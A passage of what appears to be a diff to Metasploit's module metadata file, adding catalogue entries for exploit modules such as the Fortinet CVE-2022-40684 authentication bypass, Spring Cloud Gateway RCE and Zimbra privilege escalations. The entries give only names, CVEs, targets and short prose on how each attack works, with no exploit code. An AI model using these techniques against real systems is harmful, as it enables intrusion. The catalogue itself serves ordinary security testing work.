"URL-https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/",
"URL-https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html"
],
"platform": "Linux,Unix",
"arch": "cmd, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Shell Dropper",
"Linux Dropper"
],
"mod_time": "2022-09-02 08:44:04 +0000",
"path": "/modules/exploits/linux/http/cisco_asax_sfr_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/cisco_asax_sfr_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/cisco_firepower_useradd": {
"name": "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
"fullname": "exploit/linux/http/cisco_firepower_useradd",
@@ -61388,6 +61823,68 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/fortinet_authentication_bypass_cve_2022_40684": {
"name": "Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.",
"fullname": "exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-10-10",
"type": "exploit",
"author": [
"Heyder Andrade <@HeyderAndrade>",
"Zach Hanley <@hacks_zach>"
],
"description": "This module exploits an authentication bypass vulnerability\n in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API\n to gain access to a chosen account. And then add a SSH key to the\n authorized_keys file of the chosen account, allowing\n to login to the system with the chosen account.\n\n Successful exploitation results in remote code execution.",
"references": [
"CVE-2022-40684",
"URL-https://www.fortiguard.com/psirt/FG-IR-22-377",
"URL-https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"FortiOS"
],
"mod_time": "2022-10-18 00:51:28 +0000",
"path": "/modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb",
"is_install_path": true,
"ref_name": "linux/http/fortinet_authentication_bypass_cve_2022_40684",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/fritzbox_echo_exec": {
"name": "Fritz!Box Webcm Unauthenticated Command Injection",
"fullname": "exploit/linux/http/fritzbox_echo_exec",
@@ -61502,7 +61999,7 @@
"CVE-2021-33553 - testcmd.cgi",
"CVE-2021-33554 - tmpapp.cgi"
],
"mod_time": "2021-08-31 18:18:37 +0000",
"mod_time": "2022-10-01 17:54:59 +0000",
"path": "/modules/exploits/linux/http/geutebruck_cmdinject_cve_2021_335xx.rb",
"is_install_path": true,
"ref_name": "linux/http/geutebruck_cmdinject_cve_2021_335xx",
@@ -61511,13 +62008,13 @@
"default_credential": false,
"notes": {
"Stability": [
"CRASH_SAFE"
"crash-safe"
],
"Reliability": [
"REPEATABLE_SESSION"
"repeatable-session"
],
"SideEffects": [
"ARTIFACTS_ON_DISK"
"artifacts-on-disk"
]
},
"session_types": false,
@@ -61564,7 +62061,7 @@
"targets": [
"Automatic Target"
],
"mod_time": "2021-09-16 08:22:57 +0000",
"mod_time": "2022-10-01 17:54:59 +0000",
"path": "/modules/exploits/linux/http/geutebruck_instantrec_bof.rb",
"is_install_path": true,
"ref_name": "linux/http/geutebruck_instantrec_bof",
@@ -61573,13 +62070,13 @@
"default_credential": false,
"notes": {
"Stability": [
"CRASH_SAFE"
"crash-safe"
],
"Reliability": [
"REPEATABLE_SESSION"
"repeatable-session"
],
"SideEffects": [
"ARTIFACTS_ON_DISK"
"artifacts-on-disk"
]
},
"session_types": false,
@@ -65796,6 +66293,72 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/panos_op_cmd_exec": {
"name": "Palo Alto Networks Authenticated Remote Code Execution",
"fullname": "exploit/linux/http/panos_op_cmd_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-09-09",
"type": "exploit",
"author": [
"Mikhail Klyuchnikov",
"Nikita Abramov",
"UnD3sc0n0c1d0",
"jheysel-r7"
],
"description": "An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated\n administrators to execute arbitrary OS commands with root privileges.\n This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10",
"references": [
"CVE-2020-2038",
"URL-https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/",
"URL-https://security.paloaltonetworks.com/CVE-2020-2038",
"URL-https://github.com/und3sc0n0c1d0/CVE-2020-2038"
],
"platform": "Linux",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux ",
"Unix In-Memory"
],
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/exploits/linux/http/panos_op_cmd_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/panos_op_cmd_exec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/panos_readsessionvars": {
"name": "Palo Alto Networks readSessionVarsFromFile() Session Corruption",
"fullname": "exploit/linux/http/panos_readsessionvars",
@@ -67533,6 +68096,70 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/spring_cloud_gateway_rce": {
"name": "Spring Cloud Gateway Remote Code Execution",
"fullname": "exploit/linux/http/spring_cloud_gateway_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-01-26",
"type": "exploit",
"author": [
"Ayan Saha"
],
"description": "This module exploits an unauthenticated remote code execution vulnerability in Spring Cloud Gateway\n versions = 3.1.0 and 3.0.0 to 3.0.6. The vulnerability can be exploited when the Gateway Actuator\n endpoint is enabled, exposed and unsecured. An unauthenticated attacker can use SpEL\n expressions to execute code and take control of the victim machine.",
"references": [
"CVE-2022-22947",
"URL-https://github.com/crowsec-edtech/CVE-2022-22947",
"URL-https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/",
"URL-https://tanzu.vmware.com/security/cve-2022-22947",
"URL-https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published"
],
"platform": "Linux",
"arch": "x64, cmd",
"rport": 9000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"Linux (Dropper)"
],
"mod_time": "2022-10-12 11:19:47 +0000",
"path": "/modules/exploits/linux/http/spring_cloud_gateway_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/spring_cloud_gateway_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/suitecrm_log_file_rce": {
"name": "SuiteCRM Log File Remote Code Execution",
"fullname": "exploit/linux/http/suitecrm_log_file_rce",
@@ -70016,6 +70643,74 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/zimbra_cpio_cve_2022_41352": {
"name": "TAR Path Traversal in Zimbra (CVE-2022-41352)",
"fullname": "exploit/linux/http/zimbra_cpio_cve_2022_41352",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-28",
"type": "exploit",
"author": [
"Alexander Cherepanov",
"yeak",
"Ron Bowes"
],
"description": "This module creates a .tar file that can be emailed to a Zimbra server\n to exploit CVE-2022-41352. If successful, it plants a JSP-based\n backdoor in the public web directory, then executes that backdoor.\n\n The core vulnerability is a path-traversal issue in the cpio command-\n line utlity that can extract an arbitrary file to an arbitrary\n location on a Linux system (CVE-2015-1197). Most Linux distros have\n chosen not to fix it.\n\n This issue is exploitable on Red Hat-based systems (and other hosts\n without pax installed) running versions:\n\n * Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)\n * Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)\n\n The patch simply makes \"pax\" a pre-requisite.",
"references": [
"CVE-2022-41352",
"URL-https://forums.zimbra.org/viewtopic.php?t=71153&p=306532",
"URL-https://blog.zimbra.com/2022/09/security-update-make-sure-to-install-pax-spax/",
"URL-https://www.openwall.com/lists/oss-security/2015/01/18/7",
"URL-https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html",
"URL-https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis",
"URL-https://attackerkb.com/topics/FdLYrGfAeg/cve-2015-1197/rapid7-analysis",
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P27",
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P34"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Zimbra Collaboration Suite"
],
"mod_time": "2022-10-19 10:02:29 +0000",
"path": "/modules/exploits/linux/http/zimbra_cpio_cve_2022_41352.rb",
"is_install_path": true,
"ref_name": "linux/http/zimbra_cpio_cve_2022_41352",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/zimbra_mboximport_cve_2022_27925": {
"name": "Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)",
"fullname": "exploit/linux/http/zimbra_mboximport_cve_2022_27925",
@@ -72368,6 +73063,64 @@
],
"needs_cleanup": true
},
"exploit_linux/local/netfilter_nft_set_elem_init_privesc": {
"name": "Netfilter nft_set_elem_init Heap Overflow Privilege Escalation",
"fullname": "exploit/linux/local/netfilter_nft_set_elem_init_privesc",
"aliases": [
],
"rank": 200,
"disclosure_date": "2022-02-07",
"type": "exploit",
"author": [
"Arthur Mongodin <amongodin <Arthur Mongodin <amongodin@randorisec.fr> (@_Aleknight_)>",
"Redouane NIBOUCHA <rniboucha@yahoo.fr>"
],
"description": "An issue was discovered in the Linux kernel through 5.18.9.\n A type confusion bug in nft_set_elem_init (leading to a buffer overflow)\n could be used by a local attacker to escalate privileges.\n The attacker can obtain root access, but must start with an unprivileged\n user namespace to obtain CAP_NET_ADMIN access.\n The issue exists in nft_setelem_parse_data in net/netfilter/nf_tables_api.c.",
"references": [
"CVE-2022-34918",
"URL-https://nvd.nist.gov/vuln/detail/CVE-2022-34918",
"URL-https://ubuntu.com/security/CVE-2022-34918",
"URL-https://www.randorisec.fr/crack-linux-firewall/",
"URL-https://github.com/randorisec/CVE-2022-34918-LPE-PoC"
],
"platform": "Linux",
"arch": "x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2022-09-30 09:57:54 +0000",
"path": "/modules/exploits/linux/local/netfilter_nft_set_elem_init_privesc.rb",
"is_install_path": true,
"ref_name": "linux/local/netfilter_nft_set_elem_init_privesc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"unreliable-session"
],
"Stability": [
"os-resource-loss",
"crash-os-down"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": [
"meterpreter",
"shell"
],
"needs_cleanup": true
},
"exploit_linux/local/netfilter_priv_esc_ipv4": {
"name": "Linux Kernel 4.6.3 Netfilter Privilege Escalation",
"fullname": "exploit/linux/local/netfilter_priv_esc_ipv4",
@@ -73612,6 +74365,61 @@
],
"needs_cleanup": true
},
"exploit_linux/local/ubuntu_enlightenment_mount_priv_esc": {
"name": "Ubuntu Enlightenment Mount Priv Esc",
"fullname": "exploit/linux/local/ubuntu_enlightenment_mount_priv_esc",
"aliases": [
],
"rank": 500,
"disclosure_date": "2022-09-13",
"type": "exploit",
"author": [
"h00die",
"Maher Azzouzi"
],
"description": "This module exploits a command injection within Enlightenment's\n enlightenment_sys binary. This is done by calling the mount\n command and feeding it paths which meet all of the system\n requirements, but execute a specific path as well due to a\n semi-colon being used.\n This module was tested on Ubuntu 22.04.1 X64 Desktop with\n enlightenment 0.25.3-1 (current at module write time)",
"references": [
"URL-https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit",
"URL-https://twitter.com/maherazz2/status/1569665311707734023",
"CVE-2022-37706"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2022-10-03 16:53:14 +0000",
"path": "/modules/exploits/linux/local/ubuntu_enlightenment_mount_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/ubuntu_enlightenment_mount_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true
},
"exploit_linux/local/udev_netlink": {
"name": "Linux udev Netlink Local Privilege Escalation",
"fullname": "exploit/linux/local/udev_netlink",
@@ -73970,6 +74778,60 @@
],
"needs_cleanup": true
},
"exploit_linux/local/zimbra_postfix_priv_esc": {
"name": "Zimbra sudo + postfix privilege escalation",
"fullname": "exploit/linux/local/zimbra_postfix_priv_esc",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-10-13",
"type": "exploit",
"author": [
"EvergreenCartoons",
"Ron Bowes"
],
"description": "This module exploits a vulnerable sudo configuration that permits the\n zimbra user to execute postfix as root. In turn, postfix can execute\n arbitrary shellscripts, which means it can execute a root shell.",
"references": [
"CVE-2022-3569",
"URL-https://twitter.com/ldsopreload/status/1580539318879547392"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2022-10-17 15:00:56 +0000",
"path": "/modules/exploits/linux/local/zimbra_postfix_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/zimbra_postfix_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true
},
"exploit_linux/local/zimbra_slapper_priv_esc": {
"name": "Zimbra zmslapd arbitrary module load",
"fullname": "exploit/linux/local/zimbra_slapper_priv_esc",
@@ -78919,10 +79781,13 @@
"mihi",
"joev <joev@metasploit.com>"
],
"description": "This exploit dynamically creates a .xpi addon file.\n The resulting bootstrapped Firefox addon is presented to\n the victim via a web page. The victim's Firefox browser\n will pop a dialog asking if they trust the addon.\n\n Once the user clicks \"install\", the addon is installed and\n executes the payload with full user permissions. As of Firefox\n 4, this will work without a restart as the addon is marked to\n be \"bootstrapped\". As the addon will execute the payload after\n each Firefox restart, an option can be given to automatically\n uninstall the addon once the payload has been executed.",
"description": "Mozilla Firefox before version 41 allowed users to install\n unsigned browser extensions from arbitrary web servers.\n\n This module dynamically creates an unsigned .xpi addon file.\n The resulting bootstrapped Firefox addon is presented to\n the victim via a web page. The victim's Firefox browser\n will pop a dialog asking if they trust the addon.\n\n Once the user clicks \"install\", the addon is installed and\n executes the payload with full user permissions. As of Firefox\n 4, this will work without a restart as the addon is marked to\n be \"bootstrapped\". As the addon will execute the payload after\n each Firefox restart, an option can be given to automatically\n uninstall the addon once the payload has been executed.\n\n As of Firefox 41, unsigned extensions can still be installed\n on Firefox Nightly, Unbranded and Development builds when\n configured with `xpinstall.signatures.required` set to `false`.\n\n Note: this module generates legacy extensions which are\n supported only in Firefox before version 57.",
"references": [
"URL-https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions",
"URL-http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector"
"URL-https://blog.mozilla.org/addons/2015/02/10/extension-signing-safer-experience/",
"URL-https://blog.mozilla.org/addons/2015/04/15/the-case-for-extension-signing/",
"URL-https://support.mozilla.org/en-US/kb/frequently-asked-questions-firefox-addon",
"URL-https://web.archive.org/web/20170727035940/https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions",
"URL-https://web.archive.org/web/20160322014439/https://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector"
],
"platform": "Java,Linux,OSX,Solaris,Windows",
"arch": "",
@@ -78937,7 +79802,7 @@
"Universal (Javascript XPCOM Shell)",
"Native Payload"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-09-05 02:23:37 +0000",
"path": "/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb",
"is_install_path": true,
"ref_name": "multi/browser/firefox_xpi_bootstrapped_addon",
@@ -78945,6 +79810,17 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk",
"screen-effects"
],
"Stability": [
"crash-safe"
]
},
"session_types": false,
"needs_cleanup": null
@@ -82858,7 +83734,7 @@
"targets": [
"Automatic Target"
],
"mod_time": "2021-08-27 17:15:33 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/exploits/multi/http/cockpit_cms_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/cockpit_cms_rce",
@@ -85474,7 +86350,7 @@
"Linux",
"Unix CMD"
],
"mod_time": "2022-08-25 14:41:30 +0000",
"mod_time": "2022-09-13 16:09:28 +0000",
"path": "/modules/exploits/multi/http/jenkins_script_console.rb",
"is_install_path": true,
"ref_name": "multi/http/jenkins_script_console",
@@ -90047,6 +90923,71 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/qdpm_authenticated_rce": {
"name": "qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)",
"fullname": "exploit/multi/http/qdpm_authenticated_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-11-21",
"type": "exploit",
"author": [
"Rishal Dwivedi (Loginsoft)",
"Leon Trappett (thepcn3rd)",
"Giacomo Casoni"
],
"description": "A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.\n An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal\n vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.\n NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.",
"references": [
"CVE-2020-7246",
"EDB-50175"
],
"platform": "Linux,PHP",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Generic (PHP Payload)",
"Linux x86",
"Linux x64",
"Windows x86",
"Windows x64"
],
"mod_time": "2022-10-01 17:54:59 +0000",
"path": "/modules/exploits/multi/http/qdpm_authenticated_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/qdpm_authenticated_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/qdpm_upload_exec": {
"name": "qdPM v7 Arbitrary PHP File Upload Vulnerability",
"fullname": "exploit/multi/http/qdpm_upload_exec",
@@ -94157,7 +95098,7 @@
"targets": [
"Automatic Target"
],
"mod_time": "2022-01-04 14:43:04 +0000",
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/exploits/multi/http/wp_catch_themes_demo_import.rb",
"is_install_path": true,
"ref_name": "multi/http/wp_catch_themes_demo_import",
@@ -94513,6 +95454,70 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/wp_plugin_elementor_auth_upload_rce": {
"name": "Wordpress Plugin Elementor Authenticated Upload Remote Code Execution",
"fullname": "exploit/multi/http/wp_plugin_elementor_auth_upload_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-03-29",
"type": "exploit",
"author": [
"Ramuel Gall",
"AkuCyberSec",
"h00die"
],
"description": "The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability\n that allows any authenticated user to upload and execute any PHP file. This is achieved\n by sending a request to install Elementor Pro from a user supplied zip file.\n Any user with Subscriber or more permissions is able to execute this.\n Tested against Elementor 3.6.1",
"references": [
"EDB-50115",
"CVE-2022-1329",
"URL-https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/",
"URL-https://www.youtube.com/watch?v=tIhN1svzAYk"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Wordpress Elementor"
],
"mod_time": "2022-10-03 14:43:12 +0000",
"path": "/modules/exploits/multi/http/wp_plugin_elementor_auth_upload_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/wp_plugin_elementor_auth_upload_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/wp_plugin_modern_events_calendar_rce": {
"name": "Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution",
"fullname": "exploit/multi/http/wp_plugin_modern_events_calendar_rce",
@@ -94681,7 +95686,7 @@
"targets": [
"Automatic Target"
],
"mod_time": "2021-12-08 16:45:19 +0000",
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/exploits/multi/http/wp_popular_posts_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/wp_popular_posts_rce",
@@ -97863,7 +98868,7 @@
"Unix (In-Memory)",
"Windows (In-Memory)"
],
"mod_time": "2022-02-15 08:47:50 +0000",
"mod_time": "2022-09-13 22:36:31 +0000",
"path": "/modules/exploits/multi/php/ignition_laravel_debug_rce.rb",
"is_install_path": true,
"ref_name": "multi/php/ignition_laravel_debug_rce",
@@ -98719,6 +99724,60 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/veritas/beagent_sha_auth_rce": {
"name": "Veritas Backup Exec Agent Remote Code Execution",
"fullname": "exploit/multi/veritas/beagent_sha_auth_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-03-01",
"type": "exploit",
"author": [
"Alexander Korotin <0xc0rs@gmail.com>"
],
"description": "Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.\n This authentication scheme is no longer used within Backup Exec versions, but hadnt yet been disabled.\n An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to\n the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\\SYSTEM or root privileges\n depending on the platform.\n\n The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and\n including Backup Exec Remote Agent revision 9.3)",
"references": [
"CVE-2021-27876",
"CVE-2021-27877",
"CVE-2021-27878",
"URL-https://www.veritas.com/content/support/en_US/security/VTS21-001"
],
"platform": "Linux,Windows",
"arch": "",
"rport": 10000,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Windows",
"Linux"
],
"mod_time": "2022-09-27 16:23:05 +0000",
"path": "/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb",
"is_install_path": true,
"ref_name": "multi/veritas/beagent_sha_auth_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"unreliable-session"
],
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/vnc/vnc_keyboard_exec": {
"name": "VNC Keyboard Remote Code Execution",
"fullname": "exploit/multi/vnc/vnc_keyboard_exec",
@@ -102078,7 +103137,7 @@
"targets": [
"Automatic Target"
],
"mod_time": "2021-08-27 17:15:33 +0000",
"mod_time": "2022-10-13 10:13:27 +0000",
"path": "/modules/exploits/unix/http/cacti_filter_sqli_rce.rb",
"is_install_path": true,
"ref_name": "unix/http/cacti_filter_sqli_rce",
@@ -102089,7 +103148,7 @@
"Stability": [
"crash-safe"
],
"Side Effects": [
"SideEffects": [
"config-changes",
"ioc-in-logs"
],
@@ -102713,6 +103772,68 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_unix/http/pfsense_pfblockerng_webshell": {
"name": "pfSense plugin pfBlockerNG unauthenticated RCE as root",
"fullname": "exploit/unix/http/pfsense_pfblockerng_webshell",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-09-05",
"type": "exploit",
"author": [
"IHTeam",
"jheysel-r7"
],
"description": "pfBlockerNG is a popular pfSense plugin that is not installed by default. Its generally used to\n block inbound connections from whole countries or IP ranges. Versions 2.1.4_26 and below are affected\n by an unauthenticated RCE vulnerability that results in root access. Note that version 3.x is unaffected.",
"references": [
"CVE-2022-31814",
"URL-https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/"
],
"platform": "Unix",
"arch": "cmd",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"BSD Dropper"
],
"mod_time": "2022-10-12 19:23:59 +0000",
"path": "/modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb",
"is_install_path": true,
"ref_name": "unix/http/pfsense_pfblockerng_webshell",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-down"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_unix/http/pihole_blocklist_exec": {
"name": "Pi-Hole heisenbergCompensator Blocklist OS Command Execution",
"fullname": "exploit/unix/http/pihole_blocklist_exec",
@@ -102755,7 +103876,7 @@
"targets": [
"Automatic Target"
],
"mod_time": "2022-05-04 19:42:39 +0000",
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/exploits/unix/http/pihole_blocklist_exec.rb",
"is_install_path": true,
"ref_name": "unix/http/pihole_blocklist_exec",
@@ -102816,7 +103937,7 @@
"targets": [
"Automatic Target"
],
"mod_time": "2022-05-04 19:42:39 +0000",
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb",
"is_install_path": true,
"ref_name": "unix/http/pihole_dhcp_mac_exec",
@@ -102878,7 +103999,7 @@
"targets": [
"Automatic Target"
],
"mod_time": "2022-05-04 19:42:39 +0000",
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/exploits/unix/http/pihole_whitelist_exec.rb",
"is_install_path": true,
"ref_name": "unix/http/pihole_whitelist_exec",
@@ -111404,7 +112525,7 @@
"targets": [
"WordPress"
],
"mod_time": "2021-10-11 16:44:32 +0000",
"mod_time": "2022-10-03 19:50:04 +0000",
"path": "/modules/exploits/unix/webapp/wp_pie_register_bypass_rce.rb",
"is_install_path": true,
"ref_name": "unix/webapp/wp_pie_register_bypass_rce",
@@ -134450,7 +135571,7 @@
"Windows XP SP2 ENG",
"Windows XP SP3 ENG"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/exploits/windows/ftp/ability_server_stor.rb",
"is_install_path": true,
"ref_name": "windows/ftp/ability_server_stor",
@@ -135130,7 +136251,7 @@
"targets": [
"freeFTPd 1.0.10 and below on Windows Desktop Version"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/exploits/windows/ftp/freeftpd_pass.rb",
"is_install_path": true,
"ref_name": "windows/ftp/freeftpd_pass",
@@ -135569,7 +136690,7 @@
"httpdx 1.4.6b - Windows XP SP3 English",
"httpdx 1.5 - Windows XP SP3 English"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/exploits/windows/ftp/httpdx_tolog_format.rb",
"is_install_path": true,
"ref_name": "windows/ftp/httpdx_tolog_format",
@@ -136012,7 +137133,7 @@
"targets": [
"Oracle 9.2.0.1 Universal"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb",
"is_install_path": true,
"ref_name": "windows/ftp/oracle9i_xdb_ftp_unlock",
@@ -143730,7 +144851,7 @@
"needs_cleanup": null
},
"exploit_windows/http/manageengine_adshacluster_rce": {
"name": "Manage Engine Exchange Reporter Plus Unauthenticated RCE",
"name": "ManageEngine Exchange Reporter Plus Unauthenticated RCE",
"fullname": "exploit/windows/http/manageengine_adshacluster_rce",
"aliases": [
@@ -143743,7 +144864,7 @@
],
"description": "This module exploits a remote code execution vulnerability that\n exists in Exchange Reporter Plus <= 5310, caused by execution of\n bcp.exe file inside ADSHACluster servlet",
"references": [
